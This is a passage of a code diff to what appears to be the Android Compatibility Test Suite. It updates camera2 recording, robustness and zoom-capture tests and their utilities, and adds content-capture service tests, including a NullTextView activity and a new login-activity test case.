+    private void setupMediaRecorder(CamcorderProfile profile) throws Exception {
+        // Set-up MediaRecorder.
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
         mMediaRecorder.setProfile(profile);
+
+        mVideoFrameRate = profile.videoFrameRate;
+        mVideoSize = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
+    }
+
+    private void setupMediaRecorder(
+            EncoderProfiles profiles,
+            EncoderProfiles.VideoProfile videoProfile,
+            EncoderProfiles.AudioProfile audioProfile) throws Exception {
+        // Set-up MediaRecorder.
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mMediaRecorder.setOutputFormat(profiles.getRecommendedFileFormat());
+        mMediaRecorder.setVideoProfile(videoProfile);
+        if (audioProfile != null) {
+            mMediaRecorder.setAudioProfile(audioProfile);
+        }
+
+        mVideoFrameRate = videoProfile.getFrameRate();
+        mVideoSize = new Size(videoProfile.getWidth(), videoProfile.getHeight());
+    }
+
+    private void prepareRecording(boolean useIntermediateSurface) throws Exception {
+        // Continue preparing MediaRecorder
         mMediaRecorder.setOutputFile(mOutMediaFileName);
         if (mPersistentSurface != null) {
             mMediaRecorder.setInputSurface(mPersistentSurface);
@@ -1697,12 +1833,10 @@
             mRecordingSurface = mMediaRecorder.getSurface();
         }
         assertNotNull("Recording surface must be non-null!", mRecordingSurface);
-        mVideoFrameRate = profile.videoFrameRate;
-        mVideoSize = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
 
         if (useIntermediateSurface) {
             mIntermediateReader = ImageReader.newInstance(
-                    profile.videoFrameWidth, profile.videoFrameHeight,
+                    mVideoSize.getWidth(), mVideoSize.getHeight(),
                     ImageFormat.PRIVATE, /*maxImages*/3, HardwareBuffer.USAGE_VIDEO_ENCODE);
 
             mIntermediateSurface = mIntermediateReader.getSurface();
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 14cb94e..b125d25 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -269,10 +269,9 @@
                         for (MandatoryStreamCombination combination : phyCombinations) {
                             if (!combination.isReprocessable()) {
                                 if (maxResolution) {
-                                    testMandatoryStreamCombination(id, physicalStaticInfo,
-                                        physicalId, combination, /*substituteY8*/false,
-                                        /*substituteHeic*/false, /*maxResolution*/true);
-
+                                   testMandatoryStreamCombination(id, physicalStaticInfo,
+                                           physicalId, combination, /*substituteY8*/false,
+                                           /*substituteHeic*/false, /*maxResolution*/true);
                                 } else {
                                     testMandatoryStreamCombination(id, physicalStaticInfo,
                                             physicalId, combination);
@@ -362,24 +361,34 @@
         // Set up outputs
         List<OutputConfiguration> outputConfigs = new ArrayList<>();
         List<Surface> outputSurfaces = new ArrayList<Surface>();
+        List<Surface> uhOutputSurfaces = new ArrayList<Surface>();
         StreamCombinationTargets targets = new StreamCombinationTargets();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(),
-                targets, outputConfigs, outputSurfaces, MIN_RESULT_COUNT, substituteY8,
-                substituteHeic, physicalCameraId, ultraHighResolution,
-                /*multiResStreamConfig*/null, mHandler);
+                targets, outputConfigs, outputSurfaces, uhOutputSurfaces, MIN_RESULT_COUNT,
+                substituteY8, substituteHeic, physicalCameraId, /*multiResStreamConfig*/null,
+                mHandler);
 
         boolean haveSession = false;
         try {
             CaptureRequest.Builder requestBuilder =
                     mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+            CaptureRequest.Builder uhRequestBuilder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
 
             for (Surface s : outputSurfaces) {
                 requestBuilder.addTarget(s);
             }
 
+            for (Surface s : uhOutputSurfaces) {
+                uhRequestBuilder.addTarget(s);
+            }
+            // We need to explicitly set the sensor pixel mode to default since we're mixing default
+            // and max resolution requests in the same capture session.
+            requestBuilder.set(CaptureRequest.SENSOR_PIXEL_MODE,
+                    CameraMetadata.SENSOR_PIXEL_MODE_DEFAULT);
             if (ultraHighResolution) {
-                requestBuilder.set(CaptureRequest.SENSOR_PIXEL_MODE,
+                uhRequestBuilder.set(CaptureRequest.SENSOR_PIXEL_MODE,
                         CameraMetadata.SENSOR_PIXEL_MODE_MAXIMUM_RESOLUTION);
             }
             CameraCaptureSession.CaptureCallback mockCaptureCallback =
@@ -409,14 +418,26 @@
             createSessionByConfigs(outputConfigs);
             haveSession = true;
             CaptureRequest request = requestBuilder.build();
+            CaptureRequest uhRequest = uhRequestBuilder.build();
             mCameraSession.setRepeatingRequest(request, mockCaptureCallback, mHandler);
-
+            if (ultraHighResolution) {
+                mCameraSession.capture(uhRequest, mockCaptureCallback, mHandler);
+            }
             verify(mockCaptureCallback,
                     timeout(TIMEOUT_FOR_RESULT_MS * MIN_RESULT_COUNT).atLeast(MIN_RESULT_COUNT))
                     .onCaptureCompleted(
                         eq(mCameraSession),
                         eq(request),
                         isA(TotalCaptureResult.class));
+           if (ultraHighResolution) {
+                verify(mockCaptureCallback,
+                        timeout(TIMEOUT_FOR_RESULT_MS).atLeast(1))
+                        .onCaptureCompleted(
+                            eq(mCameraSession),
+                            eq(uhRequest),
+                            isA(TotalCaptureResult.class));
+            }
+
             verify(mockCaptureCallback, never()).
                     onCaptureFailed(
                         eq(mCameraSession),
@@ -551,8 +572,10 @@
         final int NUM_REPROCESS_CAPTURES_PER_CONFIG = 3;
 
         StreamCombinationTargets targets = new StreamCombinationTargets();
-        ArrayList<Surface> outputSurfaces = new ArrayList<>();
+        ArrayList<Surface> defaultOutputSurfaces = new ArrayList<>();
+        ArrayList<Surface> allOutputSurfaces = new ArrayList<>();
         List<OutputConfiguration> outputConfigs = new ArrayList<>();
+        List<Surface> uhOutputSurfaces = new ArrayList<Surface>();
         ImageReader inputReader = null;
         ImageWriter inputWriter = null;
         SimpleImageReaderListener inputReaderListener = new SimpleImageReaderListener();
@@ -560,13 +583,8 @@
         SimpleCaptureCallback reprocessOutputCaptureListener = new SimpleCaptureCallback();
 
         List<MandatoryStreamInformation> streamInfo = combination.getStreamsInformation();
-        if (!maxResolution) {
-            assertTrue("Reprocessable stream combinations should have at least 3 or more streams",
-                    (streamInfo != null) && (streamInfo.size() >= 3));
-        } else {
-            assertTrue("Max Resolution Reprocessable stream combinations should have 2 streams",
-                    (streamInfo != null) && (streamInfo.size() == 2));
-        }
+        assertTrue("Reprocessable stream combinations should have at least 3 or more streams",
+                (streamInfo != null) && (streamInfo.size() >= 3));
 
         assertTrue("The first mandatory stream information in a reprocessable combination must " +
                 "always be input", streamInfo.get(0).isInput());
@@ -584,18 +602,15 @@
             // The second stream information entry is the ZSL stream, which is configured
             // separately.
             List<MandatoryStreamInformation> mandatoryStreamInfos = null;
-            if (maxResolution) {
-                mandatoryStreamInfos = new ArrayList<MandatoryStreamInformation>();
-                mandatoryStreamInfos.add(streamInfo.get(1));
-
-            } else {
-                mandatoryStreamInfos = streamInfo.subList(2, streamInfo.size());
-            }
+            mandatoryStreamInfos = new ArrayList<MandatoryStreamInformation>();
+            mandatoryStreamInfos = streamInfo.subList(2, streamInfo.size());
             CameraTestUtils.setupConfigurationTargets(mandatoryStreamInfos, targets,
-                    outputConfigs, outputSurfaces, NUM_REPROCESS_CAPTURES_PER_CONFIG,
-                    substituteY8, substituteHeic, null/*overridePhysicalCameraId*/, maxResolution,
+                    outputConfigs, defaultOutputSurfaces, uhOutputSurfaces,
+                    NUM_REPROCESS_CAPTURES_PER_CONFIG,
+                    substituteY8, substituteHeic, null/*overridePhysicalCameraId*/,
                     /*multiResStreamConfig*/null, mHandler);
-
+            allOutputSurfaces.addAll(defaultOutputSurfaces);
+            allOutputSurfaces.addAll(uhOutputSurfaces);
             InputConfiguration inputConfig = new InputConfiguration(inputSizes.get(0).getWidth(),
                     inputSizes.get(0).getHeight(), inputFormat);
 
@@ -606,8 +621,7 @@
             final boolean useYuv = inputIsYuv || targets.mYuvTargets.size() > 0;
             final boolean useY8 = inputIsY8 || targets.mY8Targets.size() > 0;
             final int totalNumReprocessCaptures =  NUM_REPROCESS_CAPTURES_PER_CONFIG *
-                    (maxResolution ? 1 : (
-                    ((inputIsYuv || inputIsY8) ? 1 : 0) +
+                    (maxResolution ? 1 : (((inputIsYuv || inputIsY8) ? 1 : 0) +
                     (substituteHeic ? targets.mHeicTargets.size() : targets.mJpegTargets.size()) +
                     (useYuv ? targets.mYuvTargets.size() : targets.mY8Targets.size())));
 
@@ -617,9 +631,9 @@
                     inputConfig.getFormat(),
                     totalNumReprocessCaptures + NUM_REPROCESS_CAPTURES_PER_CONFIG);
             inputReader.setOnImageAvailableListener(inputReaderListener, mHandler);
-            outputSurfaces.add(inputReader.getSurface());
+            allOutputSurfaces.add(inputReader.getSurface());
 
-            checkSessionConfigurationWithSurfaces(mCamera, mHandler, outputSurfaces,
+            checkSessionConfigurationWithSurfaces(mCamera, mHandler, allOutputSurfaces,
                     inputConfig, SessionConfiguration.SESSION_REGULAR, /*defaultSupport*/ true,
                     String.format("Session configuration query %s failed",
                     combination.getDescription()));
@@ -627,7 +641,7 @@
             // Verify we can create a reprocessable session with the input and all outputs.
             BlockingSessionCallback sessionListener = new BlockingSessionCallback();
             CameraCaptureSession session = configureReprocessableCameraSession(mCamera,
-                    inputConfig, outputSurfaces, sessionListener, mHandler);
+                    inputConfig, allOutputSurfaces, sessionListener, mHandler);
             inputWriter = ImageWriter.newInstance(session.getInputSurface(),
                     totalNumReprocessCaptures);
 
@@ -646,27 +660,33 @@
 
             List<CaptureRequest> reprocessRequests = new ArrayList<>();
             List<Surface> reprocessOutputs = new ArrayList<>();
-            if (inputIsYuv || inputIsY8) {
-                reprocessOutputs.add(inputReader.getSurface());
-            }
 
-            for (ImageReader reader : targets.mJpegTargets) {
-                reprocessOutputs.add(reader.getSurface());
-            }
-
-            for (ImageReader reader : targets.mHeicTargets) {
-                reprocessOutputs.add(reader.getSurface());
-            }
-
-            for (ImageReader reader : targets.mYuvTargets) {
-                reprocessOutputs.add(reader.getSurface());
-            }
-
-            for (ImageReader reader : targets.mY8Targets) {
-                reprocessOutputs.add(reader.getSurface());
-            }
             if (maxResolution) {
-                for (ImageReader reader : targets.mRawTargets) {
+                if (uhOutputSurfaces.size() == 0) { // RAW -> RAW reprocessing
+                    reprocessOutputs.add(inputReader.getSurface());
+                } else {
+                    for (Surface surface : uhOutputSurfaces) {
+                        reprocessOutputs.add(surface);
+                    }
+                }
+            } else {
+                if (inputIsYuv || inputIsY8) {
+                    reprocessOutputs.add(inputReader.getSurface());
+                }
+
+                for (ImageReader reader : targets.mJpegTargets) {
+                    reprocessOutputs.add(reader.getSurface());
+                }
+
+                for (ImageReader reader : targets.mHeicTargets) {
+                    reprocessOutputs.add(reader.getSurface());
+                }
+
+                for (ImageReader reader : targets.mYuvTargets) {
+                    reprocessOutputs.add(reader.getSurface());
+                }
+
+                for (ImageReader reader : targets.mY8Targets) {
                     reprocessOutputs.add(reader.getSurface());
                 }
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
new file mode 100644
index 0000000..fab14b8
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import android.graphics.ImageFormat;
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.media.Image;
+import android.media.ImageReader;
+import android.os.Build;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.util.Size;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
+import static android.hardware.camera2.cts.CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS;
+import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import static junit.framework.Assert.*;
+
+/**
+ * <p>Basic test for image capture using CONTROL_ZOOM_RATIO. It uses CameraDevice as
+ * producer, and camera sends image data to an imageReader. Image formats
+ * being tested are JPEG and RAW.</p>
+ */
+@RunWith(Parameterized.class)
+public class ZoomCaptureTest extends Camera2AndroidTestCase {
+    private static final String TAG = "ZoomCaptureTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    private SimpleImageListener mListener;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
+    public void testJpegZoomCapture() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                Log.v(TAG, "Testing jpeg zoom capture for Camera " + id);
+                openDevice(id);
+                bufferFormatZoomTestByCamera(ImageFormat.JPEG);
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
+    public void testRawZoomCapture() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                Log.v(TAG, "Testing raw zoom capture for camera " + id);
+                openDevice(id);
+
+                bufferFormatZoomTestByCamera(ImageFormat.RAW_SENSOR);
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    private void bufferFormatZoomTestByCamera(int format) throws Exception {
+        Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
+                StaticMetadata.StreamDirection.Output);
+        if (availableSizes.length == 0) {
+            return;
+        }
+
+        List<Float> candidateZoomRatios = CameraTestUtils.getCandidateZoomRatios(mStaticInfo);
+        Set<String> physicalCameraIds = null;
+        if (mStaticInfo.isLogicalMultiCamera()) {
+            physicalCameraIds = mStaticInfo.getCharacteristics().getPhysicalCameraIds();
+        }
+        try {
+            mListener  = new SimpleImageListener();
+            // Pick the largest image size:
+            Size maxSize = CameraTestUtils.getMaxSize(availableSizes);
+            createDefaultImageReader(maxSize, format, 1, mListener);
+
+            checkImageReaderSessionConfiguration(
+                    "Camera capture session validation for format: " + format + "failed");
+
+            ArrayList<OutputConfiguration> outputConfigs = new ArrayList<>();
+            OutputConfiguration config = new OutputConfiguration(mReader.getSurface());
+            outputConfigs.add(config);
+
+            CaptureRequest.Builder requestBuilder = prepareCaptureRequestForConfigs(
+                    outputConfigs, CameraDevice.TEMPLATE_PREVIEW);
+
+            Set<String> activePhysicalIdsSeen = new HashSet<String>();
+            boolean checkActivePhysicalIdConsistency =
+                    PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S;
+            for (Float zoomRatio : candidateZoomRatios) {
+                if (VERBOSE) {
+                    Log.v(TAG, "Testing format " + format + " zoomRatio " + zoomRatio +
+                            " for camera " + mCamera.getId());
+                }
+
+                requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomRatio);
+                CaptureRequest request = requestBuilder.build();
+
+                SimpleCaptureCallback listener = new SimpleCaptureCallback();
+                startCapture(request, false /*repeating*/, listener, mHandler);
+
+                // Validate images.
+                mListener.waitForAnyImageAvailable(CAPTURE_WAIT_TIMEOUT_MS);
+                Image img = mReader.acquireNextImage();
+                assertNotNull("Unable to acquire the latest image", img);
+                CameraTestUtils.validateImage(img, maxSize.getWidth(), maxSize.getHeight(), format,
+                        mDebugFileNameBase);
+                img.close();
+
+                // Validate capture result.
+                if (mStaticInfo.isActivePhysicalCameraIdSupported()) {
+                    CaptureResult result = listener.getCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
+                    String activePhysicalId = result.get(
+                            CaptureResult.LOGICAL_MULTI_CAMERA_ACTIVE_PHYSICAL_ID);
+                    if (checkActivePhysicalIdConsistency) {
+                        assertNotNull("Camera " + mCamera.getId() +
+                                " result metadata must contain ACTIVE_PHYSICAL_ID",
+                                activePhysicalId);
+                        assertTrue("Camera " + mCamera.getId() + " must be logical " +
+                                "camera if activePhysicalId exists in capture result",
+                                physicalCameraIds != null && physicalCameraIds.size() != 0);
+                        mCollector.expectTrue("Camera " + mCamera.getId() + "  activePhysicalId " +
+                                activePhysicalId + "must be among valid physical Ids "  +
+                                physicalCameraIds.toString(),
+                                physicalCameraIds.contains(activePhysicalId));
+
+                        activePhysicalIdsSeen.add(activePhysicalId);
+                    }
+                }
+            }
+            // stop capture.
+            stopCapture(/*fast*/false);
+
+            if (activePhysicalIdsSeen.size() > 0 && format == ImageFormat.RAW_SENSOR) {
+                mCollector.expectTrue("Logical camera's activePhysicalCamera should not " +
+                        " change at different zoom levels.", activePhysicalIdsSeen.size() == 1);
+            }
+        } finally {
+            closeDefaultImageReader();
+        }
+    }
+
+    private final class SimpleImageListener implements ImageReader.OnImageAvailableListener {
+        private final ConditionVariable imageAvailable = new ConditionVariable();
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            imageAvailable.open();
+        }
+
+        public void waitForAnyImageAvailable(long timeout) {
+            if (imageAvailable.block(timeout)) {
+                imageAvailable.close();
+            } else {
+                fail("wait for image available timed out after " + timeout + "ms");
+            }
+        }
+    }
+}
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 1daa3f6..7a4c2e0 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -274,7 +274,6 @@
             List<OutputConfiguration> outputConfigs, List<Surface> outputSurfaces,
             int format, Size targetSize, int numBuffers, String overridePhysicalCameraId,
             MultiResolutionStreamConfigurationMap multiResStreamConfig,
-            boolean isUltraHighResolution, boolean isCompatibleTarget,
             boolean createMultiResiStreamConfig, ImageDropperListener listener, Handler handler) {
         if (createMultiResiStreamConfig) {
             Collection<MultiResolutionStreamInfo> multiResolutionStreams =
@@ -311,9 +310,7 @@
                     config.setPhysicalCameraId(overridePhysicalCameraId);
                 }
                 outputConfigs.add(config);
-                if (isCompatibleTarget) {
-                    outputSurfaces.add(config.getSurface());
-                }
+                outputSurfaces.add(config.getSurface());
                 targets.mPrivTargets.add(target);
             } else {
                 ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
@@ -324,9 +321,8 @@
                     config.setPhysicalCameraId(overridePhysicalCameraId);
                 }
                 outputConfigs.add(config);
-                if (isCompatibleTarget) {
-                    outputSurfaces.add(config.getSurface());
-                }
+                outputSurfaces.add(config.getSurface());
+
                 switch (format) {
                     case ImageFormat.JPEG:
                       targets.mJpegTargets.add(target);
@@ -356,16 +352,32 @@
     public static void setupConfigurationTargets(List<MandatoryStreamInformation> streamsInfo,
             StreamCombinationTargets targets,
             List<OutputConfiguration> outputConfigs,
-            List<Surface> outputSurfaces, int numBuffers, boolean substituteY8,
-            boolean substituteHeic, String overridePhysicalCameraId, boolean ultraHighResolution,
+            List<Surface> outputSurfaces, int numBuffers,
+            boolean substituteY8, boolean substituteHeic, String overridenPhysicalCameraId,
+            MultiResolutionStreamConfigurationMap multiResStreamConfig, Handler handler) {
+            List<Surface> uhSurfaces = new ArrayList<Surface>();
+        setupConfigurationTargets(streamsInfo, targets, outputConfigs, outputSurfaces, uhSurfaces,
+            numBuffers, substituteY8, substituteHeic, overridenPhysicalCameraId,
+            multiResStreamConfig, handler);
+    }
+
+    public static void setupConfigurationTargets(List<MandatoryStreamInformation> streamsInfo,
+            StreamCombinationTargets targets,
+            List<OutputConfiguration> outputConfigs,
+            List<Surface> outputSurfaces, List<Surface> uhSurfaces, int numBuffers,
+            boolean substituteY8, boolean substituteHeic, String overridePhysicalCameraId,
             MultiResolutionStreamConfigurationMap multiResStreamConfig, Handler handler) {
 
         ImageDropperListener imageDropperListener = new ImageDropperListener();
-
+        List<Surface> chosenSurfaces;
         for (MandatoryStreamInformation streamInfo : streamsInfo) {
             if (streamInfo.isInput()) {
                 continue;
             }
+            chosenSurfaces = outputSurfaces;
+            if (streamInfo.isUltraHighResolution()) {
+                chosenSurfaces = uhSurfaces;
+            }
             int format = streamInfo.getFormat();
             if (substituteY8 && (format == ImageFormat.YUV_420_888)) {
                 format = ImageFormat.Y8;
@@ -374,8 +386,6 @@
             }
             Size[] availableSizes = new Size[streamInfo.getAvailableSizes().size()];
             availableSizes = streamInfo.getAvailableSizes().toArray(availableSizes);
-            boolean isUltraHighResolution = streamInfo.isUltraHighResolution();
-            boolean isCompatibleTarget = (isUltraHighResolution == ultraHighResolution);
             Size targetSize = CameraTestUtils.getMaxSize(availableSizes);
             boolean createMultiResReader =
                     (multiResStreamConfig != null &&
@@ -389,20 +399,19 @@
                 case ImageFormat.HEIC:
                 case ImageFormat.DEPTH16:
                 {
-                    configureTarget(targets, outputConfigs, outputSurfaces, format,
+                    configureTarget(targets, outputConfigs, chosenSurfaces, format,
                             targetSize, numBuffers, overridePhysicalCameraId, multiResStreamConfig,
-                            isUltraHighResolution, isCompatibleTarget, createMultiResReader,
-                            imageDropperListener, handler);
+                            createMultiResReader, imageDropperListener, handler);
                     break;
                 }
                 case ImageFormat.RAW_SENSOR: {
                     // targetSize could be null in the logical camera case where only
                     // physical camera supports RAW stream.
                     if (targetSize != null) {
-                        configureTarget(targets, outputConfigs, outputSurfaces, format,
+                        configureTarget(targets, outputConfigs, chosenSurfaces, format,
                                 targetSize, numBuffers, overridePhysicalCameraId,
-                                multiResStreamConfig, isUltraHighResolution, isCompatibleTarget,
-                                createMultiResReader, imageDropperListener, handler);
+                                multiResStreamConfig, createMultiResReader, imageDropperListener,
+                                handler);
                     }
                     break;
                 }
@@ -1670,16 +1679,31 @@
      */
     public static Size[] getSupportedSizeForFormat(int format, String cameraId,
             CameraManager cameraManager) throws CameraAccessException {
+        return getSupportedSizeForFormat(format, cameraId, cameraManager,
+                /*maxResolution*/false);
+    }
+
+    public static Size[] getSupportedSizeForFormat(int format, String cameraId,
+            CameraManager cameraManager, boolean maxResolution) throws CameraAccessException {
         CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
         assertNotNull("Can't get camera characteristics!", properties);
         if (VERBOSE) {
             Log.v(TAG, "get camera characteristics for camera: " + cameraId);
         }
-        StreamConfigurationMap configMap =
-                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        CameraCharacteristics.Key<StreamConfigurationMap> configMapTag = maxResolution ?
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION :
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap configMap = properties.get(configMapTag);
+        if (configMap == null) {
+            assertTrue("SCALER_STREAM_CONFIGURATION_MAP is null!", maxResolution);
+            return null;
+        }
+
         Size[] availableSizes = configMap.getOutputSizes(format);
-        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
-                + format);
+        if (!maxResolution) {
+            assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
+                    + format);
+        }
         Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
         if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
             Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
index 1ec33f9..5db8e74 100644
--- a/tests/contentcaptureservice/AndroidManifest.xml
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -95,6 +95,18 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+        <activity android:name=".NullTextViewActivity"
+             android:label="NullTextView"
+             android:taskAffinity=".NullTextViewActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
 
         <activity android:name=".OutOfProcessActivity"
              android:label="Oop"
diff --git a/tests/contentcaptureservice/res/layout/null_textview_activity.xml b/tests/contentcaptureservice/res/layout/null_textview_activity.xml
new file mode 100644
index 0000000..f4686e3
--- /dev/null
+++ b/tests/contentcaptureservice/res/layout/null_textview_activity.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/root_view"
+    android:layout_width="match_parent"
+    android:layout_height="fill_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <ImageView
+        android:src="@android:drawable/ic_menu_save"
+        android:scaleType="fitXY"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:layout_weight="2"
+        android:contentDescription="Save Icon" />
+    <android.contentcaptureservice.cts.NullTextView
+        android:id="@+id/main_textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:layout_gravity="bottom" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index 778ae0f..4d809ae 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -318,7 +318,8 @@
         parceled.recycle();
 
         Log.i(TAG, "onContentCaptureEventsRequest(id=" + mId + ", ignoreOrpahn="
-                + mIgnoreOrphanSessionEvents + ", session=" + sessionId + "): " + event);
+                + mIgnoreOrphanSessionEvents + ", session=" + sessionId + "): " + event + " text: "
+                + getEventText(event));
         if (mIgnoreOrphanSessionEvents) return;
         final ViewNode node = event.getViewNode();
         if (node != null) {
@@ -517,6 +518,24 @@
         sExceptions.add(new IllegalStateException(msg));
     }
 
+    private static @Nullable String getEventText(ContentCaptureEvent event) {
+        CharSequence eventText = event.getText();
+        if (eventText != null) {
+            return eventText.toString();
+        }
+
+        ViewNode viewNode = event.getViewNode();
+        if (viewNode != null) {
+            eventText = viewNode.getText();
+
+            if (eventText != null) {
+                return eventText.toString();
+            }
+        }
+
+        return null;
+    }
+
     public final class Session {
         public final ContentCaptureSessionId id;
         public final ContentCaptureContext context;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index 6940ea6..90733e3 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -41,6 +41,8 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextParams;
 import android.content.LocusId;
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
 import android.os.Bundle;
@@ -897,6 +899,40 @@
     }
 
     @Test
+    public void testViewAppeared_withNewContext() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        // Add View
+        final LinearLayout rootView = activity.getRootView();
+        final Context newContext = activity.createContext(new ContextParams.Builder().build());
+        final TextView child = newImportantView(newContext, "Important I am");
+        activity.runOnUiThread(() -> rootView.addView(child));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = activity.assertJustInitialViewsAppeared(session,
+                /* additionalEvents= */ 2);
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+
+        int i = LoginActivity.MIN_EVENTS - 1;
+        assertViewTreeFinished(events, i);
+        assertViewTreeStarted(events, i + 1);
